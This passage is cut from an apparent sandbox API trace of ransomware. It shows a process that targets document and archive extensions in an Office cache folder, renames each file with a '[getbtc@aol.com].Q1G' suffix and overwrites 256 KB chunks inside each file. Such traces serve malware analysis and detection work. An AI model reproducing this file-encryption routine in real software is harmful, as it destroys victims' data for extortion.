Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.926] lstrlenW (lpString=".1cd") returned 4 [0044.926] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0044.926] lstrlenW (lpString=".jpg") returned 4 [0044.926] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.926] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0044.926] lstrlenW (lpString="InfLR.cab") returned 9 [0044.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.926] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=18874884) returned 1 [0044.926] CloseHandle (hObject=0x214) returned 1 [0044.926] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0044.926] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.927] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0044.927] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.927] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.927] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.927] ReadFile (in: hFile=0x214, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.286] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.294] ReadFile (in: hFile=0x214, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.720] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.720] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.720] ReadFile (in: hFile=0x214, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.760] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.760] WriteFile (in: hFile=0x214, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0046.056] SetEndOfFile (hFile=0x214) returned 1 [0046.056] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ed0050 [0046.056] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.056] WriteFile (in: hFile=0x214, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.058] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.058] WriteFile (in: hFile=0x214, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.061] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.061] WriteFile (in: hFile=0x214, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ed0050 | out: hHeap=0x510000) returned 1 [0046.064] CloseHandle (hObject=0x214) returned 1 [0046.064] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0046.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.064] lstrlenW (lpString=".doc") returned 4 [0046.065] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.065] lstrlenW (lpString=".docx") returned 5 [0046.065] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.065] lstrlenW (lpString=".pdf") returned 4 [0046.065] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.065] lstrlenW (lpString=".xls") returned 4 [0046.065] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.065] lstrlenW (lpString=".xlsx") returned 5 [0046.065] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.065] lstrlenW (lpString=".ppt") returned 4 [0046.065] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.065] lstrlenW (lpString=".zip") returned 4 [0046.065] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.065] lstrlenW (lpString=".rar") returned 4 [0046.065] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.065] lstrlenW (lpString=".bz2") returned 4 [0046.065] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.065] lstrlenW (lpString=".7z") returned 3 [0046.065] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.065] lstrlenW (lpString=".dbf") returned 4 [0046.065] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.065] lstrlenW (lpString=".1cd") returned 4 [0046.065] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.065] lstrlenW (lpString=".jpg") returned 4 [0046.065] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.065] lstrlenW (lpString=".doc") returned 4 [0046.065] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.065] lstrlenW (lpString=".docx") returned 5 [0046.065] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.066] lstrlenW (lpString=".pdf") returned 4 [0046.066] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.066] lstrlenW (lpString=".xls") returned 4 [0046.066] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.066] lstrlenW (lpString=".xlsx") returned 5 [0046.066] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.066] lstrlenW (lpString=".ppt") returned 4 [0046.066] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.066] lstrlenW (lpString=".zip") returned 4 [0046.066] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.066] lstrlenW (lpString=".rar") returned 4 [0046.066] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.066] lstrlenW (lpString=".bz2") returned 4 [0046.066] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.066] lstrlenW (lpString=".7z") returned 3 [0046.066] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.066] lstrlenW (lpString=".dbf") returned 4 [0046.066] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.066] lstrlenW (lpString=".1cd") returned 4 [0046.066] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0046.066] lstrlenW (lpString=".jpg") returned 4 [0046.066] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.066] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0046.066] lstrlenW (lpString="VisioLR.cab") returned 11 [0046.066] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.067] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=50823389) returned 1 [0046.067] CloseHandle (hObject=0x214) returned 1 [0046.067] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0046.067] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0046.067] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0046.068] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.068] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.068] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.068] ReadFile (in: hFile=0x214, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.078] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.078] ReadFile (in: hFile=0x214, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.082] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.082] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.082] ReadFile (in: hFile=0x214, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.096] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.096] WriteFile (in: hFile=0x214, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0046.878] SetEndOfFile (hFile=0x214) returned 1 [0046.878] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0046.882] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.882] WriteFile (in: hFile=0x214, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.883] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.883] WriteFile (in: hFile=0x214, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.884] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.884] WriteFile (in: hFile=0x214, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.886] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0046.886] CloseHandle (hObject=0x214) returned 1 [0046.886] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0046.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.886] lstrlenW (lpString=".doc") returned 4 [0046.886] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.887] lstrlenW (lpString=".docx") returned 5 [0046.887] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.887] lstrlenW (lpString=".pdf") returned 4 [0046.887] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.887] lstrlenW (lpString=".xls") returned 4 [0046.887] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.887] lstrlenW (lpString=".xlsx") returned 5 [0046.887] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.887] lstrlenW (lpString=".ppt") returned 4 [0046.887] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.887] lstrlenW (lpString=".zip") returned 4 [0046.887] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.887] lstrlenW (lpString=".rar") returned 4 [0046.887] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.887] lstrlenW (lpString=".bz2") returned 4 [0046.887] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.887] lstrlenW (lpString=".7z") returned 3 [0046.887] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.887] lstrlenW (lpString=".dbf") returned 4 [0046.887] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.887] lstrlenW (lpString=".1cd") returned 4 [0046.887] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.887] lstrlenW (lpString=".jpg") returned 4 [0046.887] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.887] lstrlenW (lpString=".doc") returned 4 [0046.887] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.888] lstrlenW (lpString=".docx") returned 5 [0046.888] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.888] lstrlenW (lpString=".pdf") returned 4 [0046.888] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.888] lstrlenW (lpString=".xls") returned 4 [0046.888] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.888] lstrlenW (lpString=".xlsx") returned 5 [0046.888] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.888] lstrlenW (lpString=".ppt") returned 4 [0046.888] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.888] lstrlenW (lpString=".zip") returned 4 [0046.888] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.888] lstrlenW (lpString=".rar") returned 4 [0046.888] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.888] lstrlenW (lpString=".bz2") returned 4 [0046.888] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.888] lstrlenW (lpString=".7z") returned 3 [0046.888] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.888] lstrlenW (lpString=".dbf") returned 4 [0046.888] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.888] lstrlenW (lpString=".1cd") returned 4 [0046.888] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0046.888] lstrlenW (lpString=".jpg") returned 4 [0046.888] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.888] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0046.888] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0046.888] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.900] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=2511872) returned 1 [0046.900] CloseHandle (hObject=0x1ec) returned 1 [0046.900] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0046.900] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0046.900] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0046.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.901] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.901] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.901] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.291] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.291] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.302] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.302] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.302] ReadFile (in: hFile=0x1ec, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.317] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.317] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0047.522] SetEndOfFile (hFile=0x1ec) returned 1 [0047.522] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0047.522] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.522] WriteFile (in: 